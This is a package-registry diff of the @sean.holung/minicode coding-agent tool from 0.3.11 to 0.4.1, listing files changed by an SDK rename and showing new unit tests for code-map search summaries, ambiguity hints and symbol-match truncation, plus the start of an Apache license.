@sean.holung/minicode 0.3.11 → 0.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (197) hide show
  1. package/README.md +5 -3
  2. package/dist/scripts/run-benchmarks.js +7 -1
  3. package/dist/src/benchmark/runner.js +66 -3
  4. package/dist/src/cli/benchmark-run.js +1 -1
  5. package/dist/src/index.js +1 -1
  6. package/dist/src/indexer/code-map.js +16 -1
  7. package/dist/src/serve/agent-bridge.js +1 -1
  8. package/dist/src/session/session-store.js +1 -1
  9. package/dist/src/shared/symbol-resolution.js +24 -3
  10. package/dist/src/tools/find-path.js +1 -1
  11. package/dist/src/tools/find-references.js +1 -1
  12. package/dist/src/tools/get-dependencies.js +1 -1
  13. package/dist/src/tools/post-edit-diagnostics.js +185 -0
  14. package/dist/src/tools/read-symbol.js +2 -2
  15. package/dist/src/tools/registry.js +18 -3
  16. package/dist/src/tools/search-code-map.js +101 -9
  17. package/dist/src/ui/cli-ink.js +1 -1
  18. package/dist/src/web/app.js +1 -1
  19. package/dist/src/web/favicon.ico +0 -0
  20. package/dist/src/web/favicon.svg +9 -0
  21. package/dist/src/web/index.html +2 -0
  22. package/dist/tests/agent.test.js +1 -1
  23. package/dist/tests/context-indicator.test.js +1 -1
  24. package/dist/tests/file-tools.test.js +2 -2
  25. package/dist/tests/focus-tracker.test.js +1 -1
  26. package/dist/tests/graph-onboarding.test.js +20 -0
  27. package/dist/tests/guardrails.test.js +1 -1
  28. package/dist/tests/indexer.test.js +59 -28
  29. package/dist/tests/model-client-openai.test.js +4 -3
  30. package/dist/tests/model-selection.test.js +1 -1
  31. package/dist/tests/package-metadata.test.js +9 -0
  32. package/dist/tests/python-plugin.test.js +3 -3
  33. package/dist/tests/read-symbol.test.js +84 -10
  34. package/dist/tests/reasoning-effort.test.js +1 -1
  35. package/dist/tests/search-code-map.test.js +132 -1
  36. package/dist/tests/serve.integration.test.js +1 -1
  37. package/dist/tests/session-store.test.js +1 -1
  38. package/dist/tests/session.test.js +1 -1
  39. package/dist/tests/symbol-resolution.test.js +57 -0
  40. package/dist/tests/system-prompt.test.js +1 -1
  41. package/dist/tests/tool-registry.test.js +1 -1
  42. package/node_modules/@sean.holung/minicode-sdk/LICENSE +201 -0
  43. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/README.md +43 -22
  44. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.d.ts +10 -1
  45. package/node_modules/@sean.holung/minicode-sdk/dist/src/agent/agent.d.ts.map +1 -0
  46. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.js +33 -10
  47. package/node_modules/@sean.holung/minicode-sdk/dist/src/agent/agent.js.map +1 -0
  48. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/index.d.ts +1 -1
  49. package/node_modules/@sean.holung/minicode-sdk/dist/src/index.d.ts.map +1 -0
  50. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/index.js +1 -1
  51. package/node_modules/@sean.holung/minicode-sdk/dist/src/index.js.map +1 -0
  52. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.js +1 -1
  53. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.js.map +1 -1
  54. package/node_modules/@sean.holung/minicode-sdk/dist/src/model/client.d.ts.map +1 -0
  55. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/model/client.js +73 -5
  56. package/node_modules/@sean.holung/minicode-sdk/dist/src/model/client.js.map +1 -0
  57. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.d.ts.map +1 -1
  58. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.js +1 -1
  59. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.js.map +1 -1
  60. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.d.ts +59 -0
  61. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.d.ts.map +1 -0
  62. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.js +392 -0
  63. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file-replacers.js.map +1 -0
  64. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.d.ts +19 -0
  65. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.d.ts.map +1 -0
  66. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/edit-file.js +14 -25
  67. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/edit-file.js.map +1 -0
  68. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.d.ts.map +1 -1
  69. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.js +11 -5
  70. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.js.map +1 -1
  71. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.d.ts.map +1 -1
  72. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.js +3 -0
  73. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/run-command.js.map +1 -0
  74. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.d.ts.map +1 -1
  75. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.js +52 -25
  76. package/node_modules/@sean.holung/minicode-sdk/dist/src/tools/search.js.map +1 -0
  77. package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/package.json +6 -2
  78. package/node_modules/minicode-plugin-python/dist/src/index.d.ts +1 -1
  79. package/node_modules/minicode-plugin-python/dist/src/index.d.ts.map +1 -1
  80. package/node_modules/minicode-plugin-python/dist/tsconfig.tsbuildinfo +1 -1
  81. package/node_modules/minicode-plugin-python/package.json +2 -2
  82. package/package.json +4 -3
  83. package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.d.ts.map +0 -1
  84. package/node_modules/@minicode/agent-sdk/dist/src/agent/agent.js.map +0 -1
  85. package/node_modules/@minicode/agent-sdk/dist/src/index.d.ts.map +0 -1
  86. package/node_modules/@minicode/agent-sdk/dist/src/index.js.map +0 -1
  87. package/node_modules/@minicode/agent-sdk/dist/src/model/client.d.ts.map +0 -1
  88. package/node_modules/@minicode/agent-sdk/dist/src/model/client.js.map +0 -1
  89. package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.d.ts +0 -13
  90. package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.d.ts.map +0 -1
  91. package/node_modules/@minicode/agent-sdk/dist/src/tools/edit-file.js.map +0 -1
  92. package/node_modules/@minicode/agent-sdk/dist/src/tools/run-command.js.map +0 -1
  93. package/node_modules/@minicode/agent-sdk/dist/src/tools/search.js.map +0 -1
  94. package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.d.ts +0 -2
  95. package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.d.ts.map +0 -1
  96. package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.js +0 -569
  97. package/node_modules/@minicode/agent-sdk/dist/tests/agent.test.js.map +0 -1
  98. package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.d.ts +0 -2
  99. package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.d.ts.map +0 -1
  100. package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.js +0 -131
  101. package/node_modules/@minicode/agent-sdk/dist/tests/file-tools.test.js.map +0 -1
  102. package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.d.ts +0 -2
  103. package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.d.ts.map +0 -1
  104. package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.js +0 -54
  105. package/node_modules/@minicode/agent-sdk/dist/tests/guardrails.test.js.map +0 -1
  106. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.d.ts +0 -2
  107. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.d.ts.map +0 -1
  108. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.js +0 -64
  109. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.integration.test.js.map +0 -1
  110. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.d.ts +0 -2
  111. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.d.ts.map +0 -1
  112. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.js +0 -350
  113. package/node_modules/@minicode/agent-sdk/dist/tests/mcp-client.test.js.map +0 -1
  114. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.d.ts +0 -2
  115. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.d.ts.map +0 -1
  116. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.js +0 -211
  117. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-anthropic-structured-output.test.js.map +0 -1
  118. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.d.ts +0 -2
  119. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.d.ts.map +0 -1
  120. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.js +0 -330
  121. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-openai.test.js.map +0 -1
  122. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.d.ts +0 -2
  123. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.d.ts.map +0 -1
  124. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.js +0 -171
  125. package/node_modules/@minicode/agent-sdk/dist/tests/model-client-structured-output.test.js.map +0 -1
  126. package/node_modules/@minicode/agent-sdk/dist/tests/session.test.d.ts +0 -2
  127. package/node_modules/@minicode/agent-sdk/dist/tests/session.test.d.ts.map +0 -1
  128. package/node_modules/@minicode/agent-sdk/dist/tests/session.test.js +0 -226
  129. package/node_modules/@minicode/agent-sdk/dist/tests/session.test.js.map +0 -1
  130. package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.d.ts +0 -2
  131. package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.d.ts.map +0 -1
  132. package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.js +0 -212
  133. package/node_modules/@minicode/agent-sdk/dist/tests/structured-output.test.js.map +0 -1
  134. package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.d.ts +0 -2
  135. package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.d.ts.map +0 -1
  136. package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.js +0 -76
  137. package/node_modules/@minicode/agent-sdk/dist/tests/system-prompt.test.js.map +0 -1
  138. package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.d.ts +0 -3
  139. package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.d.ts.map +0 -1
  140. package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.js +0 -20
  141. package/node_modules/@minicode/agent-sdk/dist/tests/test-utils.js.map +0 -1
  142. package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.d.ts +0 -2
  143. package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.d.ts.map +0 -1
  144. package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.js +0 -72
  145. package/node_modules/@minicode/agent-sdk/dist/tests/tool-factory-options.test.js.map +0 -1
  146. package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.d.ts +0 -2
  147. package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.d.ts.map +0 -1
  148. package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.js +0 -69
  149. package/node_modules/@minicode/agent-sdk/dist/tests/tool-registry.test.js.map +0 -1
  150. package/node_modules/@minicode/agent-sdk/dist/tsconfig.tsbuildinfo +0 -1
  151. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.d.ts +0 -0
  152. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.d.ts.map +0 -0
  153. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.js +0 -0
  154. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/structured-output.js.map +0 -0
  155. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.d.ts +0 -0
  156. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.d.ts.map +0 -0
  157. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.js +0 -0
  158. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/types.js.map +0 -0
  159. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.d.ts +0 -0
  160. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.d.ts.map +0 -0
  161. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.js +0 -0
  162. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/focus-tracker.js.map +0 -0
  163. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.d.ts +0 -0
  164. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.d.ts.map +0 -0
  165. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.js +0 -0
  166. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/indexer/types.js.map +0 -0
  167. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.d.ts +0 -0
  168. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/mcp/client-registry.d.ts.map +0 -0
  169. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/model/client.d.ts +0 -0
  170. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/prompt/system-prompt.d.ts +0 -0
  171. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.d.ts +0 -0
  172. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.d.ts.map +0 -0
  173. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.js +0 -0
  174. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/safety/guardrails.js.map +0 -0
  175. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.d.ts +0 -0
  176. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.d.ts.map +0 -0
  177. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.js +0 -0
  178. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/session/session.js.map +0 -0
  179. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.d.ts +0 -0
  180. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.d.ts.map +0 -0
  181. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.js +0 -0
  182. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/helpers.js.map +0 -0
  183. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.d.ts +0 -0
  184. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.d.ts.map +0 -0
  185. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.js +0 -0
  186. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/list-files.js.map +0 -0
  187. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/read-file.d.ts +0 -0
  188. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.d.ts +0 -0
  189. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.d.ts.map +0 -0
  190. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.js +0 -0
  191. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/registry.js.map +0 -0
  192. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/run-command.d.ts +0 -0
  193. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/search.d.ts +0 -0
  194. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.d.ts +0 -0
  195. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.d.ts.map +0 -0
  196. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.js +0 -0
  197. /package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/tools/write-file.js.map +0 -0
@@ -4,7 +4,7 @@ import path from "node:path";
4
4
  import { tmpdir } from "node:os";
5
5
  import { test } from "node:test";
6
6
  import { buildProjectIndex } from "../src/indexer/project-index.js";
7
- import { createSearchCodeMapTool } from "../src/tools/search-code-map.js";
7
+ import { buildAmbiguityHint, createSearchCodeMapTool, summarizeDocComment, } from "../src/tools/search-code-map.js";
8
8
  test("search_code_map finds symbols by substring", async () => {
9
9
  const root = path.resolve(import.meta.dirname, "..");
10
10
  const projectIndex = await buildProjectIndex(root);
@@ -57,3 +57,134 @@ export class Employee {
57
57
  assert.ok(result.includes("qualified: Employee#interface"));
58
58
  assert.ok(result.includes("qualified: Employee#class"));
59
59
  });
60
+ // ─── Issue #184: disambiguation hints + doc summaries ──────────────────
61
+ test("search_code_map surfaces JSDoc summaries beside each match (issue #184)", async () => {
62
+ const workspaceRoot = await mkdtemp(path.join(tmpdir(), "minicode-doc-summaries-"));
63
+ await writeFile(path.join(workspaceRoot, "sample.ts"), `/**
64
+ * Create a default ToolWidget with all builtin gears.
65
+ * Wraps the SDK class for application-level setup.
66
+ */
67
+ export function createToolWidget(): ToolWidget {
68
+ return new ToolWidget();
69
+ }
70
+
71
+ export class ToolWidget {
72
+ constructor() {}
73
+ }
74
+ `, "utf8");
75
+ const projectIndex = await buildProjectIndex(workspaceRoot);
76
+ const tool = createSearchCodeMapTool(projectIndex);
77
+ const result = await tool.execute({ pattern: "ToolWidget" });
78
+ // The doc summary's first line should appear under the createToolWidget
79
+ // entry — without it, the model can't tell `ToolWidget` (the class) apart
80
+ // from `createToolWidget` (the factory) by kind+path alone.
81
+ assert.match(result, /Create a default ToolWidget with all builtin gears\./);
82
+ // Each shown match should still expose its qualified name, intact.
83
+ assert.match(result, /qualified: ToolWidget/);
84
+ assert.match(result, /qualified: createToolWidget/);
85
+ });
86
+ test("search_code_map prepends an ambiguity hint when matches span class + function (issue #184)", async () => {
87
+ const workspaceRoot = await mkdtemp(path.join(tmpdir(), "minicode-ambiguity-"));
88
+ await writeFile(path.join(workspaceRoot, "sample.ts"), `export class Widget {
89
+ constructor() {}
90
+ }
91
+
92
+ export function createWidget(): Widget {
93
+ return new Widget();
94
+ }
95
+ `, "utf8");
96
+ const projectIndex = await buildProjectIndex(workspaceRoot);
97
+ const tool = createSearchCodeMapTool(projectIndex);
98
+ const result = await tool.execute({ pattern: "Widget" });
99
+ // The hint specifically calls out the noun-vs-verb-form shape that
100
+ // led to the find-tool-registration regression.
101
+ assert.match(result, /Note: results span multiple symbol kinds/);
102
+ assert.match(result, /class\/interface\/type and a function\/method/);
103
+ assert.match(result, /read_symbol/);
104
+ });
105
+ test("search_code_map does NOT prepend the ambiguity hint when matches are all the same kind", async () => {
106
+ const workspaceRoot = await mkdtemp(path.join(tmpdir(), "minicode-no-ambiguity-"));
107
+ await writeFile(path.join(workspaceRoot, "sample.ts"), `export function widgetA(): void {}
108
+ export function widgetB(): void {}
109
+ export function widgetC(): void {}
110
+ `, "utf8");
111
+ const projectIndex = await buildProjectIndex(workspaceRoot);
112
+ const tool = createSearchCodeMapTool(projectIndex);
113
+ const result = await tool.execute({ pattern: "widget" });
114
+ // All three are functions — no ambiguity to flag.
115
+ assert.doesNotMatch(result, /results span multiple symbol kinds/);
116
+ });
117
+ test("search_code_map does NOT prepend the ambiguity hint for class-with-its-methods", async () => {
118
+ const workspaceRoot = await mkdtemp(path.join(tmpdir(), "minicode-class-methods-"));
119
+ await writeFile(path.join(workspaceRoot, "sample.ts"), `export class Widget {
120
+ init(): void {}
121
+ destroy(): void {}
122
+ }
123
+ `, "utf8");
124
+ const projectIndex = await buildProjectIndex(workspaceRoot);
125
+ const tool = createSearchCodeMapTool(projectIndex);
126
+ const result = await tool.execute({ pattern: "Widget" });
127
+ // class + methods is a structurally expected pairing, not a noun/verb
128
+ // disambiguation problem. The hint should stay quiet here.
129
+ assert.doesNotMatch(result, /results span multiple symbol kinds/);
130
+ });
131
+ // ─── Direct helper unit tests ──────────────────────────────────────────
132
+ test("summarizeDocComment returns empty string for missing input", () => {
133
+ assert.equal(summarizeDocComment(undefined), "");
134
+ assert.equal(summarizeDocComment(""), "");
135
+ assert.equal(summarizeDocComment(" \n \n"), "");
136
+ });
137
+ test("summarizeDocComment strips JSDoc markers and returns first non-empty line", () => {
138
+ const input = "/**\n * First sentence here.\n * More detail.\n */";
139
+ assert.equal(summarizeDocComment(input), "First sentence here.");
140
+ });
141
+ test("summarizeDocComment splits on \\r-only line separators (TS compiler shape)", () => {
142
+ // The TS compiler stores docComment with `\r` line separators on some
143
+ // platforms — without explicit `\r` handling the whole comment becomes
144
+ // a single line and the truncation chops mid-paragraph rather than at
145
+ // the first description sentence.
146
+ const input = "First sentence.\rSecond sentence.\rThird sentence.";
147
+ assert.equal(summarizeDocComment(input), "First sentence.");
148
+ });
149
+ test("summarizeDocComment truncates long first lines with ellipsis", () => {
150
+ const longLine = "a".repeat(150);
151
+ const result = summarizeDocComment(longLine);
152
+ assert.equal(result.length, 100);
153
+ assert.ok(result.endsWith("..."));
154
+ });
155
+ function makeSymbol(kind, name = "X") {
156
+ return {
157
+ name,
158
+ qualifiedName: name,
159
+ kind,
160
+ filePath: "x.ts",
161
+ startLine: 1,
162
+ endLine: 1,
163
+ exported: true,
164
+ };
165
+ }
166
+ test("buildAmbiguityHint stays quiet when all matches share one kind", () => {
167
+ const matches = [makeSymbol("function"), makeSymbol("function")];
168
+ assert.equal(buildAmbiguityHint(matches), "");
169
+ });
170
+ test("buildAmbiguityHint stays quiet for class-with-its-methods", () => {
171
+ const matches = [makeSymbol("class"), makeSymbol("method"), makeSymbol("method")];
172
+ assert.equal(buildAmbiguityHint(matches), "");
173
+ });
174
+ test("buildAmbiguityHint fires for class + standalone function (noun-vs-verb)", () => {
175
+ const matches = [makeSymbol("class"), makeSymbol("function")];
176
+ const hint = buildAmbiguityHint(matches);
177
+ assert.match(hint, /results span multiple symbol kinds/);
178
+ assert.match(hint, /read_symbol/);
179
+ });
180
+ test("buildAmbiguityHint fires for interface + standalone function", () => {
181
+ const matches = [makeSymbol("interface"), makeSymbol("function")];
182
+ assert.match(buildAmbiguityHint(matches), /results span multiple symbol kinds/);
183
+ });
184
+ test("buildAmbiguityHint stays quiet when only methods accompany the noun (no standalone function)", () => {
185
+ // Documents the deliberate trade-off: cross-class method collisions
186
+ // are under-flagged to avoid noisy false positives on the more
187
+ // common class-with-its-own-methods shape.
188
+ const matches = [makeSymbol("class"), makeSymbol("method")];
189
+ assert.equal(buildAmbiguityHint(matches), "");
190
+ });
@@ -6,7 +6,7 @@ import os from "node:os";
6
6
  import path from "node:path";
7
7
  import { createRequestHandler, shutdownServe } from "../src/serve/server.js";
8
8
  import { AgentBridge } from "../src/serve/agent-bridge.js";
9
- import { Session } from "@minicode/agent-sdk";
9
+ import { Session } from "@sean.holung/minicode-sdk";
10
10
  import { DuplicateSessionLabelError } from "../src/session/session-store.js";
11
11
  import { createTestAgentConfig } from "./test-utils.js";
12
12
  /**
@@ -3,7 +3,7 @@ import assert from "node:assert/strict";
3
3
  import { mkdtemp, readdir, rm } from "node:fs/promises";
4
4
  import path from "node:path";
5
5
  import os from "node:os";
6
- import { Session } from "@minicode/agent-sdk";
6
+ import { Session } from "@sean.holung/minicode-sdk";
7
7
  import { deleteSession, DuplicateSessionLabelError, listSessions, loadSession, loadSessionByLabel, saveSession, setSessionsDir, } from "../src/session/session-store.js";
8
8
  async function withTmpDir(fn) {
9
9
  const dir = await mkdtemp(path.join(os.tmpdir(), "minicode-test-"));
@@ -1,6 +1,6 @@
1
1
  import { test } from "node:test";
2
2
  import assert from "node:assert/strict";
3
- import { Session } from "@minicode/agent-sdk";
3
+ import { Session } from "@sean.holung/minicode-sdk";
4
4
  test("session stores and returns messages", () => {
5
5
  const session = new Session("test");
6
6
  session.addMessage({ role: "user", content: "hello" });
@@ -0,0 +1,57 @@
1
+ import assert from "node:assert/strict";
2
+ import { test } from "node:test";
3
+ import { formatAmbiguousSymbolMatches } from "../src/shared/symbol-resolution.js";
4
+ // Mirrors the cap inside formatAmbiguousSymbolMatches. Kept private
5
+ // in the production module since no other consumer needs it; this
6
+ // test pins the contract value so a silent change to the cap fails
7
+ // loudly here.
8
+ const MAX_AMBIGUOUS_MATCHES = 12;
9
+ function fakeMatch(i) {
10
+ const qn = `Foo#class@some/dir/file${i}.ts:${10 + i}`;
11
+ return {
12
+ name: "Foo",
13
+ qualifiedName: qn,
14
+ originalQualifiedName: qn,
15
+ displayName: "Foo",
16
+ kind: "class",
17
+ filePath: `some/dir/file${i}.ts`,
18
+ startLine: 10 + i,
19
+ endLine: 20 + i,
20
+ signature: `class Foo${i}`,
21
+ exported: true,
22
+ aliases: ["Foo", qn],
23
+ docComment: undefined,
24
+ };
25
+ }
26
+ test("formatAmbiguousSymbolMatches caps shown entries at MAX_AMBIGUOUS_MATCHES", () => {
27
+ const matches = Array.from({ length: MAX_AMBIGUOUS_MATCHES + 5 }, (_, i) => fakeMatch(i));
28
+ const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
29
+ // Top-line count reflects the true total, not the truncated count.
30
+ assert.match(result, new RegExp(`is ambiguous; ${matches.length} matches were found`));
31
+ // Each shown match line keeps its full qualified name intact —
32
+ // the whole point is that the agent can feed it back without
33
+ // having to guess past a mid-string truncation.
34
+ const shownEntries = (result.match(/^- /gm) ?? []).length;
35
+ assert.equal(shownEntries, MAX_AMBIGUOUS_MATCHES);
36
+ // Footer tells the agent how many were elided and how to refine.
37
+ assert.match(result, /5 more match\(es\) not shown/);
38
+ assert.match(result, /Refine the name/);
39
+ });
40
+ test("formatAmbiguousSymbolMatches shows everything below the cap with no footer", () => {
41
+ const matches = [fakeMatch(0), fakeMatch(1), fakeMatch(2)];
42
+ const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
43
+ const shownEntries = (result.match(/^- /gm) ?? []).length;
44
+ assert.equal(shownEntries, 3);
45
+ assert.doesNotMatch(result, /more match\(es\) not shown/);
46
+ });
47
+ test("formatAmbiguousSymbolMatches preserves full qualified names for every shown entry", () => {
48
+ const matches = Array.from({ length: MAX_AMBIGUOUS_MATCHES + 2 }, (_, i) => fakeMatch(i));
49
+ const result = formatAmbiguousSymbolMatches("read_symbol", "Foo", matches);
50
+ // For every shown match, the line should contain its full qualified
51
+ // name — no mid-string clipping. This is the property the original
52
+ // bug violated (char-level truncation cut qualified names in half,
53
+ // forcing the agent to guess and produce "not found" loops).
54
+ for (let i = 0; i < MAX_AMBIGUOUS_MATCHES; i += 1) {
55
+ assert.match(result, new RegExp(matches[i].qualifiedName));
56
+ }
57
+ });
@@ -1,7 +1,7 @@
1
1
  import assert from "node:assert/strict";
2
2
  import path from "node:path";
3
3
  import { test } from "node:test";
4
- import { buildSystemPrompt } from "@minicode/agent-sdk";
4
+ import { buildSystemPrompt } from "@sean.holung/minicode-sdk";
5
5
  function createMinimalConfig(workspaceRoot) {
6
6
  return {
7
7
  modelProvider: "openai-compatible",
@@ -1,6 +1,6 @@
1
1
  import assert from "node:assert/strict";
2
2
  import { test } from "node:test";
3
- import { ToolRegistry } from "@minicode/agent-sdk";
3
+ import { ToolRegistry } from "@sean.holung/minicode-sdk";
4
4
  const echoTool = {
5
5
  name: "echo",
6
6
  description: "Echo input value",
@@ -0,0 +1,201 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
